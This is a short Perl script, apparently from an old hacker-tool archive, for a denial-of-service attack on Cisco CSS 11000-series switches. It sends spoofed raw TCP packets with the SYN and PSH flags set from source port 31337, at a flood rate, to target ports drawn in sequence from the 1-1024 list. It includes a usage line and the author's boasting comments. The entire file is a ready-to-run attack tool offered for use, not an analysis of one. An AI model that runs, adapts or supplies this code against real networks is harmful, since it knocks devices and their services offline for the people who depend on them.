H4CK3R 14/hacker14.iso/exploits/ciscodos/ciscodos.pl

Perl Script | 2003-08-19 | 756 b | 30 lines

#!/usr/bin/perl
#Cisco CSS 11000, 11050,11150,11800 with chassis cs800 DOS..
#found by s21sec they're find, my code ;)
#deadbeat
#e: [e-mail]
#e: [e-mail]
#greetz: dyn0, c0w,gw01f and my company fro employing me...

use Net::RawIP;

$s_addr = $ARGV[0];
$vic = $ARGV[1];
print "\ncisco CSS DOS..found by s21sec, code by deadbeat\n";
if(!$ARGV[1]){
    die "usage: perl $0 <source addr> <target>\n";
}
@ports =(1..1024);
sub packet{
    print "commencing with packetting..\n";
    $port= shift(@ports);
    $p = new Net::RawIP;
    $p->set({ip => {saddr => $s_addr,daddr => $vic},
            tcp => {source => 31337,dest => $port,psh => 1, syn => 1}}); #leet, my mum would be soo proud..lool
    $p->send(0.05,150);
}

for($i=0;$i<10;$i++){
    packet;
}